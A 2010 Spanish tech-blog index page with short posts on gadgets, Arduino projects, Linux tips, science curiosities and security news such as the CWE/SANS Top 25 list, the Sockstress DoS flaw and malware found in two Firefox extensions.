El premiado es el zoólogo Thomas Endlein, de la Universidad de Cambridge (Reino Unido), investigando las características de las pegajosas patas de los insectos. El científico ganó más de US$1.000 en cupones fotográficos en el concurso del Consejo de Investigaciones de las Ciencias Biológicas y Biotecnología.

Vídeos de la PyCon 2010

La PyCon es una organización sin ánimo de lucro internacional, con un lenguaje en común: Python.

La PyCon de este año 2010, se celebró en Atlanta, Georgia el pasado 19, 20  y 21 de este mes de Febrero.

Si eres programador de Python y no pudiste asistir a esta conferencia, no te preocupes, porque ahora puedes ver todas las charlas desde aquí.

El CodeOrgan, o cómo convertir una web en música

Según dicen en la noticia original de "The Fire Wire", usando un "complejo algoritmo", CodeOrgan toma el código de texto "<BODY>"  hace un ritmo y una melodía sintetizada.

Simplemente, introduce la url de tu web favorita y podrás escucharla. He probado varias y la verdad es que no se parecen, algunas hasta suenan bien, no dudes en probar CyberHades ;)

http://www.codeorgan.com/

Pong con Arduino en una matriz de LED

 

El autor usa un puerto de comunicaciones MIDI conectada a una matriz de LED de 32x32, todo controlado por un Arduino. Luego usa una mesa de mezclas con los potenciómetros motorizados, que le dá un toque más espectacular al juego clásico del Pong.

Web del autor y proyecto:

retrointerfacing

En memoria de Sun, fotos para el recuerdo

En infoworld.com dedicaron un post de forma gráfica sobre algunos de los momentos más memorables de Sun.

Visto en Javahispano.

Probado y fotografiado el efecto "Cassimir"

La evidencia de que el universo se expandirá para siempre.

Mide el décimo de un milímetro y que se mueva hacia la placa que tiene debajo es responsabilidad de las fluctuaciones de energía en el vacío del espacio, llamada también energía oscura. La forma y génesis de la energía oscura aparece gravitacionálmente repeliendo y por tanto es probable que causen la expansión del universo para siempre.

Traduciendo directamente desde Google Goggles

Increible. En el Mobile World Congress de Barcelona, Google ha hecho una demostración de una versión beta de un Google Goggles que muestra el potencial de integrar Google Translator para traducir con el reconocimiento de imágenes. En el video puedes ver cómo se toma una foto de un texto en Alemán y se traduce de forma instantánea a Inglés. Realmente es un motor OCR integrado, y de momento sólo traduce de Alemán a Inglés, pero en poco tiempo podrá traducir cualquiera de los 52 lenguajes disponibles.

Firefly

Firefly es un proyecto nacido en la prestigiosa MIT, iniciado por SENSEable City Laboratory en colaboración con ARES, cuyo objetivo es transformar cualquier espacio ordinario en un entorno de visión interactivo.

En esta primera implementación han usado un gran número de micro-helicópteros. Cada micro-helicóptero contienen pequeños leds, lo que les permite actuar como un píxel de esta pantalla imaginaria, que a través de una sincronización de movimientos perfecta, han obtenidos resultados como los de este vídeo.

Ocultar un mensaje en una baraja de cartas

Usando un baraja de cartas de póker tenemos 52 cartas, por lo tanto 52! (factorial) formas de ordenar la baraja. De esta forma podemos establecer un algoritmo matemático que cada letra del abecedario corresponda con cierta carta en cierto orden.

Aquí puedes ver dicho algoritmo en acción, dónde puedes introducir un mensaje y verás como se organizan las cartas y aquí puedes jugar con el algoritmo de descifrado, dónde puedes ordenar las cartas para leer el mensaje que se oculta.

Small Worlds, píxeles con encanto

Los gráficos no son espectaculares y los movimientos no son complicados (izquierda, derecha y saltar), pero seguro que no podrás dejar de avanzar unas pantallas más para revelar el fantástico paisaje laberíntico  (pixelado pero con encanto). La atmósfera te atrapa sobre todo por la música genial que acompaña al juego.

Un juego especial, no dejes de probarlo aquí.

TuneGlue, o cómo visualizar la conexión entre …

Si te gusta descubrir música nueva (y nuevos grupos) ahora puedes hacerlo de una forma un poco diferente con TuneGlue. Esta aplicación te permite explorar las relaciones entre artistas y bandas en una red basada en conexiones entre ellos. Empiezas creando la red buscando a un artista, luego haces click en el primer nodo, puedes realizar varias opciones pero la más importante es la de expandir el nodo. Al expandirlo, añades nuevos nodos  a la red creando las conexiones entre nuevos artistas.

Aún sin señales de la Phoenix, pero seguimos …

No hay muchas posibilidades pero no van a dejar de intentarlo, sobre todo el próximo mes con una serie de operaciones para ver si la Phoenix despierta y llama a casa …

Visto en UniverseToday.

Plutón, feliz cumpleaños

Ayer fue el cumpleaños de Plutón, hace 80 años Clyde Tombaugh lo descubrió. Muchas cosas han pasado en el Espacio y también en la Tierra donde ha cambiado su reputación, Plutón ya no es un planeta.

Como dice el eslógan de esta camiseta vista en Neatorama:

“Plutón: prueba que el tamaño importa”

Plutón, no te preocupes, siempre serás nuestro planeta enano favorito … ;)

En 2015 la sonda New Horizons nos desvelará a Plutón en todo su esplendor …

Niños con visión láser (humor)

Ahora que estamos de enhorabuena con una nueva geek en nuestra familia ;) vamos a postear esta frikada en honor a ella sobre bebés con visión de rayos láser y este es el resultado (algunos la verdad es que hacen gracia):

... si queréis más no dudéis en visitar el link original.

¿Qué será lo siguiente, animales con sables láser ...? , huy, este ya se hecho ...

Administrador de conexiones remotas multiprotocolo

Windows

Eso es básicamente mRemoteNG, una utilidad que nos permite conectarnos remotamente a diferentes sistemas. Además de ser multiprotocolo, también tiene soporte de pestañas, con lo cual es ideal para administradores de sistemas. Puedes tener una conexión SSH al servidor A en una pestaña, mientras que en otra pestaña puedes tener una conexión VNC con el servidor B.

Actualmente, mRemoteNG soporta los siguientes protocolos:

• RDP (Remote Desktop/Terminal Server)
• VNC (Virtual Network Computing)
• ICA (Citrix Independent Computing Architecture)
• SSH (Secure Shell)
• Telnet (TELecommunication NETwork)
• HTTP/HTTPS (Hypertext Transfer Protocol)
• rlogin
• Raw Socket Connections

Y además todo esto, es software de código abierto y gratuito, aunque siempre puedes donar.

Dispones de una versión portable también.

Los 25 errores de programación más peligrosos

De la mano de CWE y SANS, nos llega un amplio documento donde documentan, valga la redundancia, los 25 errores de programación más peligrosos del 2010. Dónde peligroso significa, errores ampliamente extendidos y fáciles de encontrar y explotar.

La tabla de contenido del documento es la siguiente:

• Guidance for Using the Top 25
• Brief Listing of the Top 25
• Category-Based View of the Top 25
• Focus Profiles
• Organization of the Top 25
• Detailed CWE Descriptions
• Monster Mitigations
• Appendix A: Selection Criteria and Supporting Fields
• Appendix B: What Changed in the 2010 Top 25
• Appendix C: Construction, Selection, and Scoring of the Top 25
• Appendix D: Comparison to OWASP Top Ten 2010 RC1
• Appendix E: Other Resources for the Top 25
• Changes to This Document

El listado resumido de los 25 errores:

Rank	Score	ID	Name
[1]	346	CWE-79	Failure to Preserve Web Page Structure ('Cross-site Scripting')
[2]	330	CWE-89	Improper Sanitization of Special Elements used in an SQL Command ('SQL Injection')
[3]	273	CWE-120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
[4]	261	CWE-352	Cross-Site Request Forgery (CSRF)
[5]	219	CWE-285	Improper Access Control (Authorization)
[6]	202	CWE-807	Reliance on Untrusted Inputs in a Security Decision
[7]	197	CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
[8]	194	CWE-434	Unrestricted Upload of File with Dangerous Type
[9]	188	CWE-78	Improper Sanitization of Special Elements used in an OS Command ('OS Command Injection')
[10]	188	CWE-311	Missing Encryption of Sensitive Data
[11]	176	CWE-798	Use of Hard-coded Credentials
[12]	158	CWE-805	Buffer Access with Incorrect Length Value
[13]	157	CWE-98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP File Inclusion')
[14]	156	CWE-129	Improper Validation of Array Index
[15]	155	CWE-754	Improper Check for Unusual or Exceptional Conditions
[16]	154	CWE-209	Information Exposure Through an Error Message
[17]	154	CWE-190	Integer Overflow or Wraparound
[18]	153	CWE-131	Incorrect Calculation of Buffer Size
[19]	147	CWE-306	Missing Authentication for Critical Function
[20]	146	CWE-494	Download of Code Without Integrity Check
[21]	145	CWE-732	Incorrect Permission Assignment for Critical Resource
[22]	145	CWE-770	Allocation of Resources Without Limits or Throttling
[23]	142	CWE-601	URL Redirection to Untrusted Site ('Open Redirect')
[24]	141	CWE-327	Use of a Broken or Risky Cryptographic Algorithm
[25]	138	CWE-362	Race Condition

Desde aquí puedes descargar el documento en formato PDF.

¿Será geek?

Sólo tiene horas de vida, así que todavía es un poco pronto para saber si es geek o no. Lo que si sabemos es que es niña y que, gracias a Dios, goza de buena salud al igual que se madre. Su kernel corazoncito late con fuerza y eso es lo que importa en este momento. Aunque nos separen miles de kilómetros, quiero mandarte el mayor y cálido abrazo. Tenía unos 12 años cuando nos conocimos, que tiempos aquellos, que curros te pegaba al Sensible Soccer... Siempre has sido un amigo, mi mejor amigo, de esos que se pueden contar con los dedos de una mano y al final te sobran dedos. Fuiste como de la familia, mi mentor, posiblemente la persona de la que más aprendí delante de un teclado.

Ya son muchas las primaveras que han pasado, muchas etapas de la vida que ya pasaron. Algunas quedan en el recuerdo y otras pasan al olvido, pero esta etapa en la que acabas de entrar son de esas que no se olvidan y que te marcan la vida para siempre. Dicen que es lo más bonito que te puede pasar en la vida. Vendrán tiempos difíciles, pero sobre todo tiempos en lo que la sonrisa de hija te arrancarán alguna lágrima, tiempos que como este momento se grabarán en tu memoria, como si de una ROM se tratara. Esos momentos que te regala la vida y por los que tu vida cobra sentido.

Los comics de Flight llegan a su fin

Portada del sexto volumen de Flight

Para el que no lo sepa Flight es una de las mejores recopilaciones de artistas de la ilustración y la narrativa del comic. Cuando llegue a su volumen 8, según lo contaba Kazu Kibuishi, la serie será clausuarada. Para muchos es de las mejores recopilaciones que existen ya que cuando tantos artistas de tanto de nivel se reunen y compiten en ellas suelen crearse auténticas genialidades. Una verdadera pena que desaparezca.

El Cubo de Rubik se moderniza y se complica

La nueva versión viene de la mano de Techno Source pero con efectos de sonido y luces, y hasta es capaz de “hablar”. Con sus 9 paneles puede desarrolar unos 10.000 puzzles diferentes, según sus fabricantes que explican: “El objetivo de cada puzzle es reproducir la pauta y luces cambiando y girando hasta que encajen con la solución para el puzzle”... einch? me lo expliquen de nuevo?

WIFI a velocidad luz

El truco está en pasar los datos por luz laser infrarroja de baja potencia, para prevenir daño en los ojos y en la piel, según dicen. Los investigadores Jarir Fadlullah y Mohsen Kavehrad, expertos del Centro de Información e Investigación de Tecnología de las Comunicaciones de la Universidad de Pennsylvania, han conseguido superar todos los records de velocidad constatados en redes inalámbricas, alcanzando 1.6 gigabites por segundo

Modificar el orden de arranque en Ubuntu con Grub …

 

Linux

Si como yo, tienes instalados varios Sistemas Operativos en tu equipo (XP, Vista y Linux por ejemplo), seguro que has tenido que pelearte tarde o temprano con Grub, modificando el fichero /boot/grub/menu.lst para jugar con el orden de arranque y otros parámetros. Pero ahora con Grub 2, es más complicado hacerlo desde la línea de comandos. Pero tenemos una solución muy sencilla, existe una aplicación que nos facilita todo el trabajo, StartUp Manager. Puedes cambiar parámetros de seguridad, aspecto, orden y más opciones avanzadas.

mplayer, Couldn't resolve name for AF_INET6

Hoy intenté grabar un vídeo desde internet mientras hacía streaming, pero me encontré con que mplayer me devolvía el siguiente error:

Resolving ondemand.byhearing.com for AF_INET6… Couldn’t resolve name for AF_INET6: ….

Pues para revolver este problema, sólo tienes que hacer lo siguiente:

nano .mplayer/config (usa tu editor favorito)

Y añadir la siguiente línea:

prefer-ipv4 = yes

Visto aquí

Reproducen en un laboratorio las condiciones …

Científicos del BNL en NY han conseguido crear una "sopa" de materia, que reúne condiciones similares a las que se produjeron justo después del Big Bang. Los experimentos fueron realizados en el Relativistic Heavy Ion Collider (RHIC), un colisionador de partículas de menor nivel que el LHC. En este estudio se hicieron chocar 2 núcleos de oro que alcanzaron una velocidad cercana a la de la luz. Cuando dos de esas partículas chocan, sus colisiones producen tanta cantidad de energía que la materia se calienta a 4 billones de grados Celsius.

El robot más rápido del mundo resolviendo el Cubo …

 

Ya hemos visto algunos robots resolviendo el Cubo de Rubik, pero este es especialmente alucinante. Por dos razones, la primera es que lo resuelve cualquier cubo de 3x3x3 (no importa cómo esté desornado) en menos de 12 segundos. Y la segunda, está hecho íntegramente de piezas de LEGO MindStorm. Por esto último, se llama CubeStormer.

Visto en GeeksAreSexy.

 

Comparativa de soportes para reflex (DC y DV)

WRISTSHOT SUPPORT SYSTEM

LO BUENO: elimina en gran medida la fatiga a medio plazo al ditribuir mejor el peso a lo largo del brazo. Para cámaras reflex de gran peso (extras, flash, teleobjetivos...) y cámaras de video profesionales y de HD de hasta 5 kilos. La movilidad y firmeza que ofrece son únicas. Se puede utilizar en casos de lesión en la muñeca o cansancio crónico en trabajos como cámara profesional.

(IN) Secure Magazine Nº24 , Enero 2010

Ya la echábamos de menos, un avance del contenido:

• Writing a secure SOAP client with PHP: Field report from a real-world project
• How virtualized browsing shields against web-based attacks
• Review: 1Password 3
• Preparing a strategy for application vulnerability detection
• Threats 2.0: A glimpse into the near future
• Preventing malicious documents from compromising Windows machines
• Balancing productivity and security in a mixed environment
• AES and 3DES comparison analysis
• OSSEC: An introduction to open source log and event management
• Secure and differentiated access in enterprise wireless networks
• AND MORE!

Puedes descargarla desde aquí.

El creador de The Pirate Bay lanza FLATTR

Peter Sunde, creador de The Pirate Bay, ha lanzado un nuevo servicio llamado Flattr para ayudar a otros sitios de internet a ganar dinero. Es un sistema de micropagos que esta en fase beta y será oficialmente lanzado a finales de marzo.

Por un mínimo de ~2 € los usuarios podrán descargar archivos como películas, textos y música. El dinero luego será distribuido a través de distintas páginas y, finalmente, llegará a los autores de las obras: músicos, escritores, cineastas. "No hacemos esto para volvernos ricos", dijo a la BBC. "Lo hacemos para cambiar las cosas y lograr que la gente gane un dinero que hasta ahora no cobra".

Cursor Vs Mantis

Y siguiendo el hilo de Kentar...

Visto en puntogeek.com

Animales ebrios por comer Amarula

La amarula es un fruto que crece en un árbol en África llamado marula. Dicha fruta tiene una semilla con un alto contenido en alcohol (17% vol.). Además, cuando cae al suelo fermenta pudiendo alcanzar el 38% vol.

Y luego dicen que no venimos del reino animal. Pues yo alguna vez ya me he visto andando con el mismo garbo que el avestruz (a lo Ricky Martín: pasito pa’lante, pasito pa’tras) ;)

Encuentra a tu pareja católica por internet

Parece que la iglesia católica se está actualizando. Hace poco veíamos un controvertido titular que pedía el apadrinamiento de un cura en internet por 6 € al mes en apadrinauncura.com y ahora, al parecer, existe una variante del match que es exclusivo para católicos en catholicmatch.com .

¿También se mentirá en este chat o será doble pecado? :-)

El futuro de los videojuegos, control muscular

 

Imagina jugar al Guitar Hero sin guitarra ni ningún otro control, simplemente con las manos. Esto es lo que han conseguido los chicos de Microsoft y la Universidad de Washington, creando un sensor que usa los músculos para controlar los movimientos.

Las señales musculares se leen por sensores en el antebrazo, pero mejor echar un vistazo al video que lo explica perfectamente:

Corazones matemáticamente perfectos

Aunque ya se fue el día de los enamorados, aquí nos gustan las curiosidades geek. Así que aquí os dejo algunas ecuaciones matemáticas cuyas gráficas resultan en distintas formas de corazón.

Tienes que tener una pareja muy geek para poder felicitarla de esta forma, sino quieres arruinar el día :-)

Fuente original.

Se consigue la primera teletransportación de …

Según la teoría desarrollada por Masahiro Hotta de la Universidad Tokohu (Japón), se podrían desplegar series de partículas entrelazadas a través de cantidades infinitas de espacio. Induciendo un cambio energético en una de las partículas, las otras – entrelazadas cuánticamente con ella – sufrirían el mismo cambio energético. Finalmente, para preservar la ley de la conservación de la energía, la partícula original se destruiría y su energía pasaría a la última partícula de la cadena. De este modo, se consigue transferir la energía de una partícula a otra.

Un repaso a la revolución del almacenamiento …

20 diapositivas repasando la evolución de todos los dispositivos, empezando por las tarjetas perforadas y termianando con una acertada conclusión, ya casi no necesitamos almacenar nada en elementos extraibles porque lo tenemos todo en la red (o en la nube).

Yo aún tengo nostalgia por los discos ZIP y los de 3 1/2 … que tiempos …

Puedes verlas todas en PCWorld.

Punto G: el ratón más femenino.

El libro de instrucciones es solo para mayores de edad. :-)

Visto en nopuedocreer.com

Realidad Aumentada en un shooter

Un buen ejemplo de hacia donde nos movemos usando la tecnología de Realidad Aumentada.

Espectacular.

Visto en Gizmodo.

El nuevo preservativo de las reflex... para que?

Ha salido en varios blogs de fotografía esta funda de plástico creada por la empresa Outex. Y aquí pongo el video de su montaje. Yo quería verlo antes de criticarlo. A ver, señoras y señores... si no puedo: manejar los anillos del objetivo (hacer zoom o pasar a manual), ni ver las fotos sacadas, ni variar los ajustes, NI UTILIZAR EL FLASH!!!! ENTONCES PARA QUE DEMONIOS QUIERO ESA FUNDA??

Domingo por la mañana, otra canción ... Jónsi esta …

 

Jónsi - Go Do from Jónsi on Vimeo.

Ni con Sigur Rós ni con Alex, esta vez Jónsi, el cantante de Sigur Rós empieza su andadura en solitario con un nuevo disco llamado “go”, que saldrá el 5 de Abril de este año a la venta.

La canción se llama “go do”.

Aproximación a la Estación Espacial Internacional

Tomada desde la ISS este pasado miércoles/jueves.

Y más o menos, los astronautas del Trasbordador verían la ISS así:

Espectacular.

Visto en UniverseToday.

David Bravo en Buenafuente

Siguiendo con el tema del post publicado por cybercaronte, os dejo un par de videos con los comentarios de David Bravo: abogado especializado en propiedad intelectual en el mundo digital, como dijo Mara Torres, y abogado del rapero Toteking.

No tienen desperdicio.

Con la ley de la mano…

Llamada real a la SGAE (BuenaFuente) ...

No hay palabras … como dice al final, con dos cojones.

Cheat Sheet (guía rápida) con los atajos de …

 

Nos encantan las chuletas / cheat sheets o como más o guste llamarlas, y esta no la teníamos.

Con forma de teclado (y del tamaño de una alfombrilla de ratón), te muestra todos los atajos para ejecutar acciones en el programa Photoshop.

En rojo tienes el comando que activas usando la tecla Ctrl, por ejemplo si pulsas sólo la tecla “t” se abrirá la herramienta de entrada de texto (Type Tool),  en cambio si pulsas Ctrl+t activarás la herramienta de transformación (Transformation Tool).

Pantalón para el iPad

Visto en GeeksAreSexy

Instala todas las versiones de Internet Explorer a …

El Internet Explorer collection es un paquete de instalación que contiene las siguientes versiones de Internet Explorer:

• Internet Explorer 1.0 (4.40.308)
• Internet Explorer 1.5 (0.1.0.10)
• Internet Explorer 2.01 (2.01.046)
• Internet Explorer 3.0 (3.0.1152)
• Internet Explorer 3.01 (3.01.2723)
• Internet Explorer 3.03 (3.03.2925)
• Internet Explorer 4.01 (4.72.3110.0)
• Internet Explorer 5.01 (5.00.3314.2100)
• Internet Explorer 5.5 (5.51.4807.2300)
• Internet Explorer 6.0 (6.00.2800.1106)
• Internet Explorer 6.0 (6.00.2900.2180)
• Internet Explorer 7.0 (7.00.5730.13)
• Internet Explorer 8.0 (8.00.6001.18702)

De modo que podríamos instalar y usar todas las versiones listadas anteriormente de este navegador. Eso sí algunas versiones no son compatilbles con todas las versiones de Windows. Puedes consultar la siguiente tabla dónde puedes ver la compatibilidad de versiones entre el navegador y Windows. También incluyen la barra desarrollo, la cual es compatible con la versión 5 o superior.

Tetris humano

Iconos del Dream Geek Team

Iconos de celebridades Geek como Bill Gates, Steve Jobs, Sergey Brin, Larry Page and Steve Ballmer.

Los puedes descargar desde aquí.

Visto en Sixrevisions.

Twitter desde la línea de comandos

Para los adictos a la línea de comandos disponemos de Twyt un cliente de Twitter escrito en Python. Ya podemos "tuitear" desde una consola SSH por ejemplo, o incluso hacer uso de este cliente desde alguna interfaz gráfica o usarlo desde tu cron o cualquier otro servicio del sistema. Y ya no tienes excusa para seguirnos.

La instalación es muy sencilla:

sudo aptitude install python-twyt

Para ver las opciones que esta aplicación nos ofrece, escribimos:

Venden en eBay una Nintendo NES por 13.105 dólares

Has leído bien 13.105 dólares por una Nintendo NES en eBay, eso sí con 5 juegos y un mando.

Yo tengo un Spectrum 128k con su transtape y cientos de juegos y un Amiga 500 con otros tantos juegos y utilidades.

¿Alguna oferta? :-)

Sockstress, análisis de esta vulnerabilidad del …

La vulnerabilidad Sockstress es un nuevo tipo de ataque DoS (Denegación de Servicio) que puede ser realmente devastador. Usando esta vulnerabilidad, se pueden parar servicios fundamentales en equipos con conexiones abiertas a Internet muy rápidamente, en los cuales incluso tendremos que hacer un reinicio para poder volver a funcionar (puede que para un PC no sea tan crítico hacer un reinicio, pero imagina reiniciar servidores...) . Afecta casi cualquier tipo de S.O., Windows, BSD, Linux, Mac, etc ... o sea cualquiera que implemente la pila TCP/IP.

Sushi gigante

Vaya pedazo de sushi, pero ese me lo como yo seguro (y NOP también).

Pero recuerda, el sushi se come de un bocado ;)

Visto en Kirai.

Añade soporte FAT a cualquier microcontrolador

Pulsa aquí para descargar el PDF donde te explica cómo dar soporte FAT a cualquier microcontrolador.

En principio está preparado para la línea AVR de chips pero puede ser adapatado a cualquier arquitectura que funcione con compiladores C.

Perfecto para dar acceso a discos duros, tarjetas de memoria y pendrives a proyectos realizados con microcontroladores, todo un mundo por descubrir. Ya han desarrollado toda una librería para facilitar el trabajo a la hora de programar alguna aplicación.

8 supuestos de incongruencias legales frente a las …

1. SUPUESTO: a) PEPE se descarga una canción de Internet. b) PEPE decide que prefiere el disco original y va a El Corte Inglés a hurtarlo. Una vez allí, y para no dar dos viajes, opta por llevarse toda una discografía. La suma de lo hurtado no supera los 400 euros.

ACLARACIÓN: La descarga de la canción sería un delito con pena de 6 meses a dos años. El hurto de la discografía en El Corte Inglés ni siquiera sería un delito, sino una simple falta (art. 623.1 del Código Penal).

2. SUPUESTO: a) CARMEN se descarga una canción de Internet. b) CARMEN va a hurtar a El Corte Inglés y, como se la va la mano, se lleva cincuenta compactos, por valor global de 1.000 euros.

GuruPlug Server

¿Se acuerdan del SheevaPlug del que ya hablamos aquí en Cyberhades?

Ahora llega el GuruPlug Server, un impresionante sistema del tamaño de una fuente de alimentación. Nos llega en dos versiones, Standard y Plus. Atención a las características:

Standard - (99 dólares)

• Kernel de Linux 2.6.32
• Procesador Marvall Kirkwood 6281-1.2GHz
• 512Mb RAM, de 16 bits a 800 MHz
• Flash NAND de 512MB
• Bluetooth 2.1 + EDR
• WiFi 802.11 b/g
• U-SNAP I/O
• Puerto de red a 1Gbit
• 2 USBs 2.0

Plus (además de lo que tiene el Standard) - (129 dólares)

Google Buzz, el nuevo servicio de Google

Google Buzz añade funcionalidades propias de redes sociales a Gmail y al resto del mundo Google.

Puedes poner contenido dentro de Gmail procedente de Flickr, Blogger, Youtube,  etc. También permite listas de amigos automáticas, compartir tanto de forma pública como privada cualquier contenido y mucho más.

Mejor echa un vistazo a LifeHacker donde hacen un análisis más a fondo de este nuevo Google Buzz.

También han lanzado el mismo servicio para dispositivos móviles:

Hay dos cosas infinitas: el Universo y la …

Albert Einstein tenía más razón que un santo.

Para nada soy fan del iPad de Apple, pero…

Linux es el mismo diablo

Amarino, conecta tu Android con Arduino

Amarino es un proyecto cuyo objetivo es la posibilidad de conectar un terminal que corra Android con los microcontroladores Arduino a través de bluetooth.

¿Te imaginas las posibilidades que esto ofrece? Poder conectar tu terminal Android a algún dispositivo externo a través de Arduino, del cual ya hemos hablado en Cyberhades en varias ocasiones.

Todo lo que necesitas es:

• Android 1.5 o 1.6 (el soporte para 2.0 está en camino).
• Una placa Arduino.
• Bluetooth para dicha placa.
• Los componentes electrónicos que requiera tu proyecto.

Sin duda un juguete para mentes más inquietas.

Chuletas para desarrolladores

Bueno viendo la cantidad y chuletas que han recopilado en devcheatsheet, podemos decir que no son sólo para desarrolladores. Las hay de todos los tipos, lenguajes de programación, seguridad, servidores, sistemas operativos, aplicaciones varias, etc.

Un repositorio muy completo y que seguro que te interesa tener en tus marcadores.

Envío de SMSs a través del correo electrónico

Esto no es nada nuevo, pero siempre es bueno tener a mano una lista de proveedores que soportan el envío de SMS a través del correo electrónico.

Por ejemplo si quieres mandar un SMS a algún amigo que tiene movistar y cuyo teléfono es 555 555 555, sólo tendrás que mandar un email a [email protected] .

Las principales ventajas que se me ocurren son:

• Gratis. El envío de un email es gratis, mientras que el de SMSs, a menos que tengas algún tipo de plan especial, tendrás que pagar por ello.

• Cómodo de escribir. Bueno, por lo menos para mi, es mucho más fácil escribir en un teclado regular que en el de un móvil. Aunque he visto alguna gente que escriben como un ninja.

• Puedes enviar SMSs a prácticamente cualquier parte del mundo. Si tienes amigos en USA, Autralia, Inglaterra, etc. Sólo tienes que saber el número de móvil y el proveedor.

• Podrías integrar en cualquier aplicación el envío de SMSs. Supongamos que tienes un servidor en casa y quieres monitorizar cualquier parte del sistema, siempre te puedes mandar un SMS si algo ocurre.

Andes Teletransporter, en todas las discos ya!!

Imprescindible. Genial el del sobrinito...

Visto en gizmodo.es

BlueScreenView, para saber la causa de la BSOD

Windows

Todos los que usamos Windows conocemos la BSOD, pero sinceramente, pocas veces nos paramos a analizar la información o el motivo de este crítico error. Esta aplicación portable (indispensable, ya que habrá que ejecutarla desde algún sistema externo al no poder acceder al sistema por el error) llamada BlueScreenView analiza el fichero c:\Windows\Minidump y muestra entre otros datos, los drivers que se han cargado cuando el sistema ha fallado. También puedes ver la pantalla BSOD que ha mostrado Windows después del fallo.

Llévate una página web de tu ordenador a tu móvil

Supongamos que estas visitando una página web, por ejemplo esta misma y quieres abrir la misma página en tu terminal Android ¿Cómo lo haces?

Evidentemente puedes escribir la URL de la página en tu móvil, pero las URLs de la mayoría de las páginas son enormes e incluso muchas veces ilegibles.

Te mandas un email a la cuenta que tienes configurada en el móvil. Miras el correo y pinchas sobre el enlace. Mejor que antes, pero todavía sigue siendo un poco pesado.

El anuncio de Google para la SuperBowl ... …

Espectacular sin usar nada de efectos especiales, ni actores famosos, sólo usando el buscador Google, te contará una historia de amor en 1 minuto que a lo mejor hasta te hace llorar un poquito …

Chapó Google.

Visto en Engadget.

Los últimos movimientos de la Spirit antes del …

En este video (que muestra los movimientos desde el 14 de Enero al 4 de Febrero de 2010) de la NASA podemos ver perfectamente el atasco de las ruedas de la Spirit.

Visto en UniverseToday.

¿Facebook email en camino?

 

Parece que Google y Facebook serán competidores ya que un reciente informe indica que Facebook está preparando su propio servicio de correo electrónico. Si el informe es acertado, el correo podría ser POP/IMAP y tendría esta forma [email protected] y os podéis imaginar la cantidad de gente que usaría este servicio en contra de Yahoo Mail, Hotmail y Gmail.

Ya veremos, visto en UberGizmo.

Herramientas para programar animaciones y algunos …

Music Is Math from Glenn Marshall on Vimeo.

 Si hacer una animación usando una aplicación ya es complicado imagina crearlas usando código de programación al estilo de la demoscene. El mérito es doble, hay que tener creatividad pero a la vez un dominio absoluto de las matemáticas y del lenguaje de programación que se utilice.

En este extenso y espectacular artículo de SmashingMagazine puedes encontrar ejemplos de animaciones creadas usando código,  y también algunas aplicaciones gratuitas para crearlas como Processing ó NodeBox.

Whitley - More Than Life, para esta mañana de …

Whitley

Iconos de la Cultura Pop hechos con Lego

Hemos visto casi de todo hecho con Lego, pero esta colección creada por Angus Maclane no os la podéis perder. Algunos de ellos Pulp Fiction, Superman, Batman ... todos en:

Galería MacLane en Flickr.

Visto en The Fire Wire.

Impresora de pizzas

Visto en Hackaday.

Malware en extensiones de Firefox

Mozilla ha anunciado en su blog oficial sobre al menos 2 extensiones o plugins donde se han detectado código malicioso.

Concretamente, estas dos extensiones son Sothink Video Downloader 4.0 y Master Filer. En ambos casos, según parece el objetivo son usuarios de Windows, por lo que usuarios de otros sistemas no se verían afectados.

Sothink Video Downloader estaría infectado con el troyano Win32.LdPinch.gen (versiones posteriores a la 4.0 no están infectadas) y en el caso de Master Filer con Win32.Bifrose.32.Bifrose. Mozilla ya deshabilitado ambos plugins del repositorio de plugins.

Daños colaterales de iPad

Daños colaterales, desafortunadamente, expresión usada en los tiempos que corren para justificar las cagadas del personal, que acaban pasando factura a quien no tiene culpa de nada.

Pues eso es más o menos lo que Apple ha conseguido por ahora con su flamante iTouch XXL, o también conocido como iPad.

Apple ya se ha percatado que en el mercado móvil, el cual dominaba con su iPhone, le están creciendo los enanos androides, aunque ya están tomando medidas, y tiene que mover ficha para intentar sacar tajada de otro de los grandes mercados en pleno auge, el de los eBooks o libros electrónicos. De hecho y como mucho de ustedes sabrán, una de las novedades que trajeron con el iPad fue iBookstore, la tienda online de libros electrónicos.

Si quiere ver OVNIS... vaya a Chile.

Esta noticia no es una broma ni es el día de los inocentes, la ha publicado la BBC. Ante el aumento del número de  países (22) que comienzan a desclasificar informes relacionados con ovnis, el gobierno chileno ha reconocido oficialmente que necesitan un estudio científico y ha decidido tomarse en serio los avistamientos de ovnis ante la gran cantidad que hay de ellos en sus cielos. Hace unos años  existió un Comité de Estudios de Fenómenos Aéreos Anómalos (Cefaa), pero muchos decían que era una cortina de humo para tranquilizar a la población ante las avalanchas de llamadas. Este nuevo comité es "dependiente de la Dirección General de Aeronáutica Civil y realizaran los análisis desde una perspectiva científica."

Carcasas para ordenadores - Modding

Para aquellos amantes del modding, en la web de neatorama podemos encontrar una gran colección de fotos de carcasas no sólo para ordenadores, sino también para otros dispositivos como vídeo consolas o iPods.

Las categorías en que dichas fotos están clasificadas son:

• Animal
• Cartoons & Anime
• Computer & Game Console
• Food & Drink
• Game & Movie
• Household Items
• Lego
• Music
• TV & Radio
• Vehicle & Aircraft
• War-Themed
• Wooden
• Other
• Non-PC: Game Console
• Non-PC: iPod
• Non-PC: Other
• Reverse Case Mod

Facebook ... literal

Vía GeeksAreSexy.

Propuesta para la nueva web de RENFE

Simplemente genial.

Ya es hora de solucionar esa tomadura de pelo llamada web de RENFE, que a todos nos ha put*ado alguna vez…

Visto en Microsiervos.

Wordpress para Android

Ya hay version oficial de Wordpress para Android. Entre sus caracteristicas podria destacar:
* Creacion de mas de una cuenta/blog.
* Administracion de comentarios. Desde el cual podremos moderar los mismos.
* Por supuesto tambien disponemos del manejo de entradas, donde podemos crear y/o editar nuevos posts, asi como grabar un borrador para continuar mas tarde.
* Tambien podemos administrar las paginas del blog.

Mi opinion personal es que es una primera version, por lo que todavia esta muy verde. Las entradas tienes que escribirlas en HTML. Aunque dispones de los botones de negrita, italica, enlace y cita, pero si quieres hacer puntos y aparte o parrafos, tienes que escribir las etiquetas correspondientes.

